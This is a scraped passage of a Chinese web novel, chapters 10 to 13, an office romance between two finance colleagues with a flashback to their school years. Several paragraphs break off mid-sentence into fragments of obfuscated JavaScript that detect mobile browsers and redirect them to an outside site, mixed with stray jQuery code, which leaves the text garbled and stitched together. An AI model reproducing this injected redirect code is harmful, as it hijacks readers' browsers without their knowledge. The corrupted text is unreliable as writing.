两个人各走一边,戚时安进了期货部,准备在这儿忙到下班直接去和证监会的李先生吃饭。沈多意快步朝咨询部走去,因为一句“废物点心”乐了整整一路。 之前说好帮孟良给意见,半路又被别的事情耽误,一直拖着始终也没顾上。这下误会解开,一切按轨道进行,生活彻底恢复了如常状态。 他们约在了餐厅,孟良早早到了,捧着菜单认真研读,想好好请沈多意吃一顿。沈多意陪沈老爷子去公园听票友唱戏,路上又堵了一个多钟头,姗姗来迟时餐厅已经将近满座了。 “师兄,要不转移到包间吧,我本来觉得大堂敞亮,现在人多不方便谈事情。”孟良拿着包起身,顺手叫来了服务生。 沈多意环顾一眼:“能在包间更好,不过这个时间段还有空的吗?” 服务员领他们去了楼上包间,孟良说:“我堂姐喜欢这儿,她和老板好像是邻居,咱们走个后门。” 进到包间没急着点餐,只叫了壶茶,文件资料在桌上摊开摆满,孟良打开随身电脑,解释道:“中心数据都在公司电脑上,所以资料有些乱。” 天气已经很暖和,沈多意穿着件浅色的棉麻衬衫,袖子挽着积了几道褶皱,他倾身挨住桌沿,胸前一粒纽扣摩擦出“咯嘣咯嘣”的响声。 “和叔叔设计的白金计划有些相似,我想让他看看,结果他最近总开会。”孟良用笔圈出几项重要的部分,“围绕每个险种要有好几项差别不大的产品供大家选择,核心产品做出来,其他的稍微调整就行,所以这个我做得挺没劲的。” 孟良不知道“白金计划”其实是沈多意设计的,不知不觉间又聊起公司里的趣事。沈多意看着资料,边听边笑,听完说:“几点分析和修改建议我都发你邮箱了,你参考一下。既然做得没劲,那就不要消耗过多精力,效率低还没意义。” 孟良高兴地说:“师兄,如果你是我领导就好了,太体恤民意了。” 沈多意随手拿过餐单:“我不是让你闲着,你把精力转移到别的方面,比如儿童成长方面,这块儿我觉得未来几年会增大需求。” 圈了三四道顺眼的菜,沈多意开始不紧不慢地收拾桌上的文件,他刚想继续说,就被来电铃声打断了。孟良接通:“堂姐?我准备和师兄吃饭呢。什么,你也没吃?” 十分钟后孟澜就到了,手上还拎着七八个袋子,看来刚结束逛街。 她落座后看向沈多意,也叫了声“师兄”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727245|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈多意握着筷子:“你看看想吃什么,再点一些,今天我请吧。” “那不行,给他帮忙当然是他掏钱。”孟澜又点了两道,然后把一只袋子递给了孟良,“买了两件,我爸一件,你爸一件。怎么样,在师兄的帮助下,问题解决了吗?” 孟良回答:“解决了。对了,师兄刚才话还没说完。” 沈多意都忘记说到哪了,回想着开口:“儿童成长方面……现在放开政策生二胎了,这方面的险种需求肯定会大幅增加,相反老人险方面基本已经饱和了,而且很多国人都有养儿防老的观念,觉得孩子比保险靠谱。” 孟澜出声笑道:“我妈就是那么说的,还催我早点结婚生宝宝。” 两人相亲后没多久沈多意就辞职了,按说彼此见面后肯定尴尬,但此时的氛围却很轻松。他无话时也露着淡淡的笑,随时一副认真倾听的模样,总让人觉得很舒服。 既然旧事已在心照不宣中翻篇揭过,那朋友之间可聊的就多了。孟澜轻呷了口热茶,说:“师兄,你知道吗,我前两天和你们老板吃饭来着。” 孟良吃惊道:“对方知道你们认识吗?” “知道,我说我们以前是同事。”孟澜冲沈多意点点头,“他以咨询重疾险为由,扯了不少肉麻的鬼话,我差点崩溃,觉得跟那种花花公子交往肯定很考验心智。” 沈多意心中盘旋起一道龙卷风,联系起之前公司对他的调查,以及戚时安和章以明对他的询问,忽然好像明白了什么。 而在他犹豫时,孟良先他一步问道:“是明安的哪个老板啊?” 孟澜没感情地说:“章以明。” 女朋友出交通事故时却在聚餐后和职员约会,此时又有了新的追求对象。沈多意脑中“嗡”的一声,感觉神经中枢都在反馈嘲笑给他,偏偏那两姐弟还没完没了。 “我就说明安的老板很爱玩儿,果然吧。” “他约我的时候还接了个查岗电话,挺有意思的,里面是男声。” “他真的男女不忌,有钱人是不是都那样?” “另一个老板没有吧,师兄,你了解吗?” 沈多意被点名才回神,他支吾道:“我不了解。” 孟良回想片刻:“另一个老板貌似就一段传说,五个来月,本金五千炒到了二十五万,美元。记得是外汇吧,属于大牛级别,不知道他是不是中央街最厉害的高级操盘手。” 戚时安还不知道自己成了茶余饭后解闷的薯片话梅,他从天亮睡醒就没离开过床,抱着电脑看盘盯图,午饭更是被抛到了脑后。 忙工作还能自己做主喘口气,忙私活反而不敢掉以轻心。 手机振动着掉落床下,他伸手捞起,然后无奈接通:“妈,在帮你们看了。你和你的小姐妹们别老给我加班好不好……” “什么叫雇我,你知道我一小时多少钱吗?”戚时安捏捏眉心,随后重重敲了下空格键,“股市也分庄和闲,不要看了点新闻就信以为真,多半是庄家为了拉升股价炒作的,明明离压力线还十万八千里远。” 心不甘情不愿地做了多半天苦工,戚时安下午才饿着肚子开车觅食,吃一份打包一份,明天省得再出门。 晚上睡前最后一次检查邮件,发现了一封未读,发信人是沈多意。他心头一跳,率先酿出几分欢喜,随后才轻轻点开。 可第一句却赫然写着:“戚先生,抱歉。” 11. 第 11 章 卧房没有开窗,满室空气还勾连着白天的一丝余热,而“抱歉”两个字出现在屏幕上时,似乎迅速给房间降了温。 戚时安脸色未变,眼神也没变,但却迟迟没有往下看。 他的工作会遭遇太多突发情况,规律被打破是经常发生的事,所以他能淡然面对绝大部分变故。可此时的这封道歉信有些烫手,他不想接,也有点担心原因。 总怕下一句沈多意会坦白些他不想让发生的事,比如辞职,又比如泄露了公司的数据。 降温后仍然憋闷,戚时安起身开窗,开完就靠着窗子吹风,拂面都觉得轻柔的春风无法撼动厚重的窗帘,却帮他缓解了一丝焦虑。 重新拿起手机,在屏幕即将黯淡下去的霎那轻轻触碰,指腹滑动,接下来的内容总算落入眼底。戚时安的嘴唇启开又闭上,全然一副无语凝噎的模样。 有个迷信说法,无语凝噎和欲说还休挺般配。 同样吹着风、拿着手机的沈多意就是副欲说还休的样子,从邮件发出到现在,他不确定对方看到没有,更不确定对方看完的话心情如何。 其实那封道歉邮件的内容很简单,沈多意坦白自己误会了戚时安,他本来准备上班见到后当面道歉的,但憋着不说恐怕失眠,于是先发了封邮件。 没料到的是,发完好像更要失眠了。 明安大楼的正门和所有通道在经过一个周末后,换上了新的装饰花卉,附近的咖啡厅也更换了新的菜单。清早又是排长龙的时间,多半人戴着耳机已经进入工作状态,谈话内容却大同小异,毕竟整条中央街的上班族都算同行。 “先生,您的咖啡多奶。” “谢谢。”沈多意接过,然后迅速离开了逐渐拥挤的咖啡厅,他今天出门很早,所以赶在队伍形成前买到了早餐。明安大楼里只有保安在转悠,几部电梯前空着,说明大部分同事都还没到,当他走近时才发现其中一部正在缓缓地关上门。 沈多意下意识出声:“等等!” 幸好快步走到门口时,电梯又打开了,然而沈多意的下一步顿住,站在电梯门外看见了里面的戚时安。戚时安也端着杯咖啡,今天的西装上还别着枚船锚形状的装饰夹。 两个人都被那封邮件弄得不上不下,于是早早来到了公司。 “进来啊。”戚时安先出了声。 沈多意进入电梯,随着门缓缓闭合,他们俩映在门上的面容也愈发清晰。数字不停跳动,沈多意忘记了按下咨询部的楼层,他扭头看向对方,毫无遮掩地说:“对不起。” 戚时安保持直视前方的状态,装傻道:“为什么道歉?” “因为……”估计没看邮件,沈多意微微侧身,冲着戚时安郑重说道,“之前说你花名在外,是误会一场,我向你道歉。” “这样啊。”戚时安始终没看对方,还在装傻,“害我纳闷儿好长时间,闹了半天花名在外的不是我。” 几句话的工夫就到了三十层,电梯门打开的瞬间戚时安就迈了出去,沈多意站在门内正中,抬手按下咨询部所在的楼层。 仿佛和在一楼时进行了位置调换,戚时安站在门口转过身,对上了沈多意的眼睛。 门徐徐关上,却在最后时分被同时伸出的两只手臂各挡一边。 戚时安说:“以后不用为这种小事向我道歉。”他说完这句仍看着对方,他不清楚自己是怎样的眼神,也不知道流露着什么情绪。 沈多意用力按着右侧的门,问:“你是不是还有话想说?” 戚时安却忽地松开手:“今天和徐先生签合同,别出差错。” “……好。”沈多意也松开了手。刚才那一瞬他有些焦躁,因为戚时安的眼中已是静水流深,但说出的话却无关痛痒。 随着电梯不断移动,他做了几次深呼吸,等迈入咨询部的时候已经彻底神色如常。 盛昭的两单是开春来的最高额交易,部门的季度奖金一下子厚了不少。对于上司的褒奖,或是同事的祝贺和玩笑,沈多意全都用笑容回礼,完全不主动讨论。除了去洗手间和去茶水间外,他也很少离开自己的办公室。 客户总是极尽任性之能事,约好的签约时间一再推迟,章以明在会议室等了十多分钟,茶也喝了两杯,说:“得了,想推到中午顺便让我请客呢。” 主管接道:“徐先生说和您在一家会馆游泳。” “对,有时候碰见。”章以明看了眼手表,“沈组长,再查一遍合同都准备齐了吗?” 沈多意重新看了一遍,答道:“齐了,法务部的同事检查了好几遍,徐先生的律师等下也会再检查,没问题的。” 乙方不禁念叨,踩着他们的尾音到了,同行而来的还有戚时安。徐先生和站起身的章以明握手,解释道:“我先给你们戚总打了个电话,问他中午能不能一起吃饭,不怪我迟到,实在是他太磨叽,半天不给个准话。” 戚时安笑着反驳:“我一直在操盘室,压根儿就没看手机。” 签约过程中徐先生提了些问题,沈多意一一作答,等所有合同相关的事都尘埃落定后,几位老总再次握了握手。徐先生说:“我算高级客户吗?” 沈多意答:“按照交易额的话,肯定算。” “那好办了。”徐先生让助理订了位子,“一起吃个饭吧,投资方面的问题我请教戚总,保险方面的问题我请教沈组长,省得要我咨询费了。” 章以明不乐意道:“没我什么事儿?” 徐先生压低嗓音:“章总,你的话我得请教风花雪月那方面的,你可别藏着掖着。” 大家边走边说,沈多意回办公室把合同备份,然后收装进档案室。整理完抬眼看见戚时安站在门口玩手机,他推门出去,发觉已经到了午休时间,便说:“戚先生,走吧。” 等会儿吃饭免不了要喝酒,于是戚时安没开车,当他坐进沈多意的黑色大众后,眼前的时光仿佛逆流倒错。 沈多意已经启动了车子,出声提醒:“你还没系安全带。” 戚时安把安全带扣好,一只胳膊肘搭上车窗,然后用手指顺着眉毛来回滑动,滑了几下捏住眉心,看上去像皱着眉头。沈多意飞快地看了对方一眼,询问道:“这车小,是不是太憋屈了?要不调整下座位。” 戚时安没动弹,沉沉地说:“这车少点东西。” 沈多意跟着前方的车,可能精神太过集中才没想出答案,不解道:“少什么?” 戚时安抬眼一瞄:“少个‘出入平安’的挂坠。” 他总是这样,自己误入回忆里,就要把对方也拉下水,看着沈多意有些恍惚的表情,他格外满足。沈多意在喇叭声中回过神,笑着说:“那我改天去十元店买一个。” “十元店?”戚时安有些无语,“你已经年薪百万了,最次买块玛瑙的吧。” 餐厅就在前方,他们已经进入了停车场,沈多意微微侧身,把车倒进空着的车位中,不情愿地说:“我房贷还有的还呢,要是年底涨工资就好了。” 戚时安低头解安全带,装作没有听见,特别讨厌。 整顿饭无外乎围绕着金融打转,徐先生比较外行的见解乃至误会就像皇帝的新衣,在座的几位全都看透但不说破,尽力保持着愉快的用餐氛围。 吃到最后,聊天内容已经发生了九曲十八弯的变化,章以明酒不离手,话不离情,细数自己的恋爱史,并且把过往的对象做了严格的分类。 “其实交往和投资一样,就说我最近在炒的那支吧,我通过它的数据了解它的优势,然后选它。交往也一样,对方的长相、身材、学历、性格等等都是数据,那我喜欢明眸皓齿的,但你学富五车,那照样没用,所以喜欢这件事,纯粹是看对方的数据能不能满足自己的要求。” 戚时安把杯子里的酒喝掉,试图在脑子里反驳章以明的论点。 章以明趁势继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们从多年前就对彼此产生了既定印象,沈多意以为戚时安是爱玩的纨绔子弟,戚时安觉得沈多意是钱能搞定的贫困打工仔。就算有着少年人的一份吸引存在,却依然没能让看法改变。 再次重逢,偏见重生直到偏见解开,他们现在要怎样看待对方? 戚时安问:“你了解我吗?” 沈多意摇了摇头,他不了解,并且知道戚时安也不了解他。 他们互不了解,除了知道彼此喝咖啡的口味之外,爱好、生日、过敏物、朋友圈子等等,都一概不知,仿佛只打过照面的陌生邻居。 当时是被满足自己要求的数据吸引,从而产生好奇和兴趣,对其他数据一概不知,不知自己会讨厌还是会包容。 一见钟情只是数据吸引的话,那认真相处会日久生情吗? 戚时安不知道也不确定,但他想迈出第一步。 他咬着牙说:“可你的数据很吸引我,无论过去还是现在。” 沈多意有些难为情:“因为不好的数据你没发现。” “那就给机会让我发现。”戚时安扭过脸去,平静地看着沈多意,“那时候年纪小,你生活得也不好,所以不接受或者抗拒都很正常,现在没有误会了,我们正常相处,互相了解,我重新看你,你也看看我,好吗?” 还是在秋叶街边,还是在黑色的大众车上,那从这里再次开始的话,走出的路会不会不一样? 目光灼烫,沈多意的脸都被烧红了。他扭头看向戚时安,身前紧紧拥抱着方向盘,是慌张又缺乏的安全感的表现。 但他却认真地点了点头:“好。” 戚时安低头轻笑,得逞的骄傲和欣喜全凝在上扬的嘴角,他从兜里抽出一块挂坠,然后系在了后视镜上。 买烟的时候顺手买的,可惜上面没有写字。沈多意抬头看着摇晃的流苏,思绪也被晃远了,他主动问道:“戚先生,怎么没有祝福?” 戚时安说:“那我祝你,四时平安。” 12. 第 12 章 沈多意有点像游击队的,打一枪换一个地方,生生把兼职做出了潇洒走一回的感觉。在酒吧做服务生是他最近新增的工作,一共没几次,等酒吧招够人手他就不干了。 “多意,怎么还不睡啊?” “马上就睡,收拾书包呢!”已经凌晨两点了,沈多意仍坐在书桌前忙活,桌上的习题册子和书本都摆放得整整齐齐,卷子也都工整地叠成一摞。 今天放学后去小饭桌给几个小孩儿辅导功课,所以折腾得晚了。面前放着张横格纸,纸上画着表格,他正在煞有介事地给自己列行程安排。 礼拜一和礼拜二去小饭桌辅导功课,礼拜三和礼拜四去酒吧做服务生,礼拜五去便利店做收银员,周末去餐厅做全天。 这是经过严密计算的,在时间允许的基础上,获得收益的最大化。他把表格列完,感觉眼皮已经要打架了,于是赶紧收拾好书包上床睡觉。 沈多意每天都过得很累,他也知道自己很累,但他会告诉自己那不是累,是充实。这种自我欺骗不仅能令他不滋生怨气,甚至还能有个好心情。 本来之前因为夜总会那件事还挺难过的,可后来有一天他陪沈老爷子看电视,电视剧里的男主人公做销售,为了把产品推销出去几乎是放弃了尊严,陪客户喝酒喝得昏天黑地,最后单子还没签成。 沈老爷子当时说:“这些电视剧都太夸张了。”说完片刻,老人家又极克制地叹了口气,万般无奈似的,“其实生活更夸张。” 沈多意没有做声,知道爷爷想到他爸妈了。他爸妈都是铁路局的员工,他小时候铁路局职工宿舍发生了一起锅炉大爆炸,他爸妈就死于那场意外。 没人能够一直快乐,也没人能够一直痛苦,当痛苦袭击快乐的时候,要坚持住别被打倒。但当快乐走入痛苦时,就要决绝地迈向新的里程。 沈多意已经练就这种本领,任何挫折与失落于他而言都很脆弱。关于夜总会那件事,他完全抛去脑后,换新工作,继续上学打工,没空研究尊严被践踏或者人格被侮辱。 他觉得那太无聊了,也太不酷了。 可事与愿违,偏偏又让他想起。 因为戚时安出现在了酒吧里。 爷爷说得真对,生活的确太夸张了。 沈多意还是穿着衬衫马甲,不过领带换成了领结。这间酒吧气氛很好,永远缱绻着节奏缓慢的音乐,来去的客人差不多也都是老面孔,每天都像朋友聚会一样。 他看见戚时安的时候刚和调酒师说完话,结果瞬间把新酒的介绍词忘得一干二净。 戚时安揣着裤兜从门口进来,目光逡巡一遭后落在了沈多意的身上,他拣了处沙发坐下,坐定后仍执着地看着对方。 沈多意拿着酒单走近,不太自然地开口:“好巧啊,看来你是真喜欢喝酒。” 戚时安瞄了眼对方颈间的小领结,直截了当地说:“不巧,我问了夜总会的经理,他告诉我你来这儿了。” “经理介绍我来的。”沈多意解释了一句,解释完才反应过来对方向别人打听自己,但又揣测不出含义,“之前谢谢你,今天我请你喝酒吧?” 联想起沈多意为了钱喝到胃疼的模样,戚时安觉得这句话有些好笑,他反问:“你一小时多少钱?” “……两百。”沈多意撒了个谎,他赚不了那么多,但是请客的话太少不合适,“新出的黄油啤酒挺香的,要不要试试?” 戚时安不挑,毕竟他醉翁之意不在酒。等两百块钱的黄油啤酒上了桌,他觉得沈多意的眼神都变得自信了,仿佛终于扯平,不再欠他什么人情。 实际上,沈多意确实是这样想的,对方那晚帮了他,他就感谢回去,从没想过要互相认识,更别说发展什么友情。年纪差不多,却开着车去夜总会喝酒的人,跟他隔着一道银河那么遥远。 黄油啤酒真的很香,啤酒的苦辣味基本已经尝不出来,只留着清香的酒气,戚时安窝在沙发上慢慢啜饮,耳畔接收着舒缓的音乐。沈多意在他的视线里走来走去,拿着酒单或端着酒水,笑容时浅时深,眼睛始终明亮。 低头时,下巴尖会蹭到领结,蹭痒了会趁客人不注意时抬手抓一抓,马甲勒着那把细腰,腰侧的小兜里别着一支圆珠笔,片刻闲暇时会忍不住摁几下笔帽。戚时安把沈多意的所有小动作都看在眼里,就着这一幕幕,黄油啤酒被喝光了。 沈多意忙得忘记了戚时安的存在,等想起来过去看时人已经走了,桌上只剩下空酒杯。他收拾完继续工作,以为再次产生的交集已经结束。 直到换了衣服下班,他在酒吧门口看见戚时安靠着车门吸烟。 还是那包软珍小熊猫,戚时安其实没点燃,只是等得无聊拿出一根瞎玩儿。他抬眼望向门口,见沈多意直挺挺地立在那儿。 背着书包,穿着校服,球鞋干干净净,衣领洁白如新,校卡的带子从兜里露出来耷拉着,随着夜风轻摆。 头毛也在风中微颤,飘散了一地少年气。 大概比扎着领结穿着马甲要可爱一百倍,因为戚时安能从自己的心跳速度上感觉出来。 包裹在这身行头下的沈多意完全是学生模样,连同眼角眉梢都染上了几分活泼开朗,他抓着书包带子,可能有些冷,喊道:“你还没走啊!” 戚时安大步过去,隔了两阶看着对方,说:“两百块钱的黄油啤酒有那么大一罐,我喝多了,礼尚往来的话,你是不是应该送我回家?” 这摆明是刁难了,后退是关着的酒吧大门,下台阶是戚时安的身前眼底,沈多意进退维谷,竟然推拒道:“够呛,我作业还没写呢,对不起啊。” 戚时安忍住笑,不知道在装什么酷:“你高几了?” “高二,我们老师管得特别严。”沈多意身着校服,人也仿佛天真了不少,“咱俩差不多大吧,你不用上学吗?” “过一阵我就开学了。”戚时安说,“我比你大一点。” 三两句话的工夫似乎熟悉了些,这种熟悉不是真正意义上的了解,只是气氛变得轻松了而已。沈多意终于从台阶上走下,看看腕上的防水手表说:“我得赶紧回家了,不然家里人会着急。” 他说完就走,怕回应之间又耽误片刻。戚时安却没在刚才的寒暄中忘记原本的来意,他猛地伸手拦住对方,像用了擒拿手似的扣住了沈多意的肩头。 “你干吗啊?” “你一小时没有两百块,对不对?” “……那怎么了。” “心疼你破费啊。” “没事儿,按时薪请你的话,只能喝汽水了。” “我其实就想喝汽水。” “你不早说……” “一天给你两千,每天陪我喝汽水,你干么?” “……” 又是两千! 陪喝汽水! 俩男的对着喝汽水?! 这人喜欢男的…… 沈多意的整片脑海已经掀起了风浪,突如其来的过分邀请让他措手不及,当作感谢的黄油啤酒也变得有些可笑。 看东西首先要看标价,面对有钱人时会难以自制的怯场,奔波在每个烈日下,忙碌于每段风雨中。现实太过夸张,但也只能一点点接受,就这样在生活的鞭笞中背了许多辛酸与无奈,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727247|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然没觉得自己低人一等。 沈多意脸颊生疼,被戚时安的话狠打了一巴掌。 忽然想起来那晚在夜总会门口,对方问他“你真的不是少爷?” 他目视前方,书包带子被手指绞得死紧:“夜总会的少爷收费都没那么贵,一天要你两千,我怕物价局查我。” 戚时安慢慢松开了手,云淡风轻地问:“生气了?” 沈多意暗藏防备,想出口伤人却没那个天分,半晌过去才外强中干地说:“你别再开玩笑了,不然等你开了学,我找你们校长举报你。” 和那晚的脆弱模样大相径庭,此时此刻的沈多意还有两颗小小的獠牙可露,没有自我保护的铠甲,也没好友亲朋的庇佑,他全靠强撑的一张凌厉面孔来吓唬人。 而在戚时安眼里,那份凌厉不过是蹙起的眉毛和瞪圆的眼睛而已。他深知老虎是猫科,可猫装不了老虎。 但这不妨碍他软了心肠,并生出歉意。 “多意,多意!” 屋内十分安静,不像以往有豆浆机的噪音,沈多意懒懒地翻身,试图在叫声中睁开困顿的眼睛。沈老爷子站在门口,略微佝偻的腰上还系着条碎花围裙,催促道:“今天还要不要上班啊?” “要上……”沈多意把双眼睁开条缝儿,怀中抱着一团薄被,“做什么好吃的呢,还系着这么闹心的围裙。” 沈老不欲与他闲聊,转身朝厨房走去,边走边怨:“知道闹心你还买,快起来吃炸馒头片,等会儿就不脆了。” 年纪大的人腿脚都慢,何况沈老早早就拄上了拐杖,沈多意从床上爬起来走到卧室门口,看着沈老的背影一点点靠近厨房。他不想三两步就追赶上去,只想这样看着对方先行抵达。 “爷爷,围裙三十块一包,我哪知道具体什么样啊。”等沈老走到厨房,沈多意才慢悠悠地跟上。把炸至金黄的馒头片和小黄瓜端上餐桌,爷孙俩开始享用早餐,公司的事儿没什么意思,沈多意很少和老爷子念叨,反而是老爷子爱讲些小区里的家常琐事。 快要吃完,沈老爷子说:“怎么瞧着你没精神,泡杯茶喝吧。” 沈多意解释:“没睡好,一直做梦。” 梦见了戚时安在酒吧外面堵他,还要每天两千块钱来“包”他,那时候在他眼里,这个价格等于斥巨资了。沈多意忍不住乐,乐完好像精神了不少。 出门尚早,完美地避开了高峰期,黑色大众在马路上穿梭,后视镜上挂着的坠子轻轻摇晃,一路摇到了明安大楼的停车场。 中央街每天四五点钟都有洒水车经过,地面湿润不带尘土,似乎连带着空气也潮湿凉爽了起来。沈多意已经吃过早饭,打算只买杯咖啡提神,还未进门就隔着玻璃窗看见了正在用餐的戚时安。 最后一口蛋饼停在嘴边,戚时安被看得不好意思,甚至差点噎住。 “戚先生,早啊。”沈多意推门而入,伴随着这声招呼。戚时安擦擦嘴从位子上起身,说:“早,我还要买杯咖啡带走,顺便请你吃早饭吧。” “我都准备好零钱了,也只买咖啡。”沈多意和对方一同走到点餐台前,他伸手示意戚时安先点。 戚时安说:“一杯咖啡,多加奶。” 沈多意微怔,随即补充:“我要一杯黑咖啡。” 一切都说开以后。 现在是不是已经重头开始了? 他们两个从咖啡厅出来,地面已经被太阳晒得干了大半。繁华的中央街,日日相见的明安大楼外,天气晴好的早晨。 戚时安和沈多意互相交换了咖啡。 那这个开头,似乎很美很美。 13. 第 13 章 “那支股你爸还没抛?都震仓了,摆明让这些散户出局啊。” “告诉阿姨,她们和庄家对抗,都不算胳膊拧大腿,属于手指头拧大腿。” “短期均线都发散结束了吧。” 开会前的间隙,会议室变成了证券交易大厅,戚时安坐在椅子上养精蓄锐,几个投资部的员工挨在旁边一起看股票走势。看了大概十几支,他深有同感地说道:“老人炒股是这样,一不留神就自己胡来,赔了钱还要怨你。” 期货部的主管乐道:“戚先生,您也被强制帮忙了?” “我都被奴役好几个礼拜了。”戚时安这句刚说完,咨询部的几个组长从会议室门口陆续走了进来,他挨个看了一眼,看到沈多意的时候目光多停留了片刻。 沈多意正在调静音,没有察觉,调完才抬头打招呼:“戚先生。”戚时安点点头,示意大家归位准备开会。 安妮把灯关掉,坐在角落做会议记录。众人或靠着椅背,或支着下巴,全都是一副放松思考的样子。沈多意的面前还是那个笔记本,这次他坐在中间的位置,省得戚时安冤枉他打瞌睡。 “先说几支比较看好的,接下来一段时间要重点推。”戚时安今天没有站在投影前,只坐在位子上盯着电脑屏幕,“镁概念股不用着重说了,昨天刚出了政策,肯定会成为热点。这支股只记住三点,如果下跌就加仓,如果上涨也要加仓,如果大涨必须立刻作出反应,第一时间大胆加仓。它是给锌概念股接力的,锌概念股已经处在高位了,中长线就不要再开仓,实在有兴趣的可以短线介入。” 沈多意上学听课的时候就有个习惯,喜欢按笔帽,而且是情不自禁的那种,按的时候丝毫不影响听课,仿佛是无意识行为。 “咯噔咯噔”的响声给戚时安伴奏,戚时安说完停顿,瞥向了沈多意的手,点名道,“沈组长,还有哪支股你觉得要重点推?” 沈多意本来放松地靠着桌沿,被提问后瞬间坐直了身体,按着笔帽的手也停了下来,回答道:“我昨天做了统计,新疆城建、新疆众和还有青松建化都不错,所以看好新疆板块。” 戚时安切了下一张图,图上新疆板块的所有个股已经全线红盘,他认同道:“也是热点预定,而且冲劲会很大。” 沈多意完美回答了老板的问题,于是心情不错的继续按笔帽。点名的本意就是喊停,谁知道按得更加欢快了,戚时安无语想笑,干脆在“咯噔咯噔”的伴奏声中说完了余下几支股票。 会议后半程向来是自由讨论,咨询部的人已经不像上一次那么拘谨,能融入投资部互相探讨了。戚时安讲得口干舌燥,端着杯子解渴,不参与下属之间的据理力争。 “沈组长,画好了吗?” “马上,我就两只手好不好。”分析图这种东西,个人有个人的画法,但表达的核心基本不变,沈多意动作最快,于是都让他来画。 同事们拿着他刚刚画好的图开始讨论,他反而对图上那支没什么兴趣,便自己重新画另一支。戚时安放下杯子,起身踱步旁听各组的讨论情况,走到沈多意身边时,像检查作业似的站在旁边看。 “戚先生。”沈多意收笔,“您觉得这支后续发展怎么样?” 戚时安不动声色地抢了对方的圆珠笔,回答:“目前还没突破矩形震荡,喜欢的话也不要急着买进。” 沈多意想做个标记,这才发现笔跑到了对方手里,他对上戚时安的目光,恍然大悟道:“我是不是又按笔帽了?抱歉啊,我下次换支钢笔。” 几句话就把时间耗光了,转眼已经中午,安妮收拾会议室,其他人准备去吃午饭。戚时安趁机说道:“有去公司餐厅的吗,一起吧。” 沈多意离得最近,应道:“我要去。” 公司餐厅在午饭时间也不热闹,虽然来吃饭的员工很多,但大家都低声聊天,没太大动静。几个部门占据了一片位子,戚时安格外自觉地坐到了咨询部里面。 用餐期间,他的手机响个不停,消息没有断过,他匆匆看了一眼,然后就调了静音。与此同时,旁边齐组长的手机也一直在响,其他同事打趣道:“一日夜不归宿,女朋友要紧盯一礼拜才放心。” 戚时安瞄了眼正坐在对面喝汤的沈多意,然后状似无意地解释道:“我妈让我帮她盯两支股票,还有她的一群小姐妹,昨天还建了群拉我进去,一直发消息。” 沈多意觉出这话是对自己说的,便笑着应道:“阿姨真可爱。” 吃过午饭终于要分道扬镳了,戚时安独自回了三十层,办公桌上已经摆放了一份上午的会议记录。他翻看完签字,签完盯着钢笔尖走神。 这支钢笔是在德国读书时买的,但一直没舍得用,半年前才开启它的工作生涯,但也只是偶尔签签名而已。 戚时安思忖片刻,然后按下了内线:“安妮,进来一下。” 安妮向来动作迅速,敲门而入:“戚先生,您有什么事吗?” 戚时安拿起桌上的文件夹:“这是创业板的大概率分析报告,给咨询部的沈组长送过去,看他有没有用。” “好的。”安妮接过,立刻去了咨询部。 午休时间部门的人寥寥无几,沈多意没有趴在桌上睡觉,正根据上午开会的内容做阶段重点大纲。敲门声响起,抬头看见安妮站在门外。 “沈组长,中午也不休息吗?”安妮进来,把文件夹轻轻递到桌上,“这是创业板的大概率分析报告,戚先生让我给您送过来,看是否有用。” 沈多意接过:“谢谢,还劳烦你跑一趟,顺便帮我谢谢戚先生。” 安妮准备回去:“您休息一会儿吧,别太累了。” 数据资料是永远不嫌多的,更何况是分析报告这种现成品。沈多意几乎是立刻打开了文件夹,却没想到夹子上别着一支钢笔。 笔身通体黑色,但透出一缕缕细如发丝的乳白色大理石花纹,沈多意把钢笔取下来,不知戚时安是不小心落下的,还是故意的。 笔帽没有扣紧,拔下后发现钢笔的金尖露着点黑,说明不久前刚使用过,他准备重新盖好的时候瞧见笔帽里塞着张叠好的小纸条。 沈多意把纸条轻轻抽出展开,小小的便签纸上写着:“希望你会喜欢。” 他打开本子,握着笔踟蹰了一会儿,然后写下了自已的名字。笔尖很顺滑,一点都不刮纸,他盖上笔帽把整支钢笔攥在手心掂了掂,觉得很有分量。 晚上章以明无人陪,又带着酒菜去骚扰戚时安。“你那些男朋友和女朋友呢,都看清你的真面目了?”戚时安回家的第一件事就是洗澡,洗完没穿睡衣,换了身极休闲的衣服。 章以明问:“还要出门?” “后半夜回公司。”外汇行情夜间波动大,尤其是后半夜,戚时安回家休息几个钟头还要继续工作。他半躺在偏厅的沙发上看记事簿,烦道:“明天约了游哲,我都差点忘了。” 约的是上午,意味着他忙完后半夜仍然无法休息,要连轴转到明天下班。戚时安把枕头砸向章以明,直接下了逐客令:“吃完赶紧走,别打扰我睡觉。” 天已经快要黑透 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他仔细地把包装纸撕掉,露出了本子崭新的封皮,规格选纸和他正在用的那本一样。 沈多意也想夹张纸条,写上“希望你会喜欢”,可转念一想,他又没秘书替他跑腿,左右都要自己上三十层送一趟,那干脆直接说好了,不必多此一举。 